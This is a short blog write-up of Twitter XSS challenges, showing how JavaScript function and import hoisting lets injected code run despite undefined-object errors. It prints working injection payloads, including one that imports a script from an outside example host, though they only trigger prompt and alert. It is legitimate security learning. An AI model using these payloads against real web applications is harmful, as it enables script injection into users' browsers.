XSS Exception Bypass using Hoisting 🧙‍♂️

XSS Exception Bypass using Hoisting 🧙‍♂️
Switzerland of Jan, 2023🇨🇭

Recently, I stumbled upon some intriguing XSS tricks on Twitter and couldn't resist sharing my solutions. Let's dive into a fascinating XSS challenge and explore how we can outsmart it with JavaScript's hoisting mechanism.

Justin Gardner's Tweet

The Challenge

Imagine this code snippet: x.y(1,INJECT);. Looks simple, right? But here's the catch - neither x nor y are defined. It's a classic scenario in XSS where you're confined to a function call but can't exit the script tag. The trick? Using JavaScript's hoisting to our advantage.


Hoisting to the Rescue

In JavaScript, hoisting is this cool feature where the interpreter seems to move function and variable declarations to the top of their scope before the code executes. It's like having a backstage pass in a concert - you get to access things before they're officially declared!

So, when we encounter x.y(), we hit a roadblock because x is undefined.

Uncaught ReferenceError

The solution? Declare x before its use, like this:

x.y(1,

// INJECTED START
prompt());
function x () {}
(
// INJECTED END
);

This way, the function declaration of x gets hoisted, allowing the code to execute without a hitch. The undefined result from x.y doesn't really matter; what's important is that our injected code runs successfully.

Like this!

Leveling Up the Challenge

But wait, there's more! Another variant of the challenge uses x.y.z("test-INJECT").

Johan Carlsson's Tweet

This is trickier because it throws a 'TypeError' since x.y is undefined. But fear not, we can solve this too:

x.y.z("test-"+prompt(document.domain));import x from "https://example.com/a.js";alert("")

And the below is the content of https://example.com/a.js.

var x = {y: {z: 1}};
export default x;
a.js
pwned!

Trivial

Import declarations are hoisted. In this case, it means that the imported values are available in the module's code even before the place that declares them, and that the imported module's side effects are produced before the rest of the module's code starts running.

You can read this here ⬇️

JavaScript modules - JavaScript | MDN
This guide gives you all you need to get started with JavaScript module syntax.

The Takeaway

Playing around with these challenges has been a great learning experience. It's fascinating how understanding JavaScript's nuances, like hoisting, can help us find creative solutions to complex problems. I hope you found this exploration as intriguing as I did!

Happy coding! 😄

Hoisting - MDN Web Docs Glossary: Definitions of Web-related terms | MDN
JavaScript Hoisting refers to the process whereby the interpreter appears to move the declaration of functions, variables, classes, or imports to the top of their scope, prior to execution of the code.
Having fun with JavaScript hoisting
Writeup of three JavaScript challenges posted on Twitter during November/December of 2023
Johan Carlsson's official write-up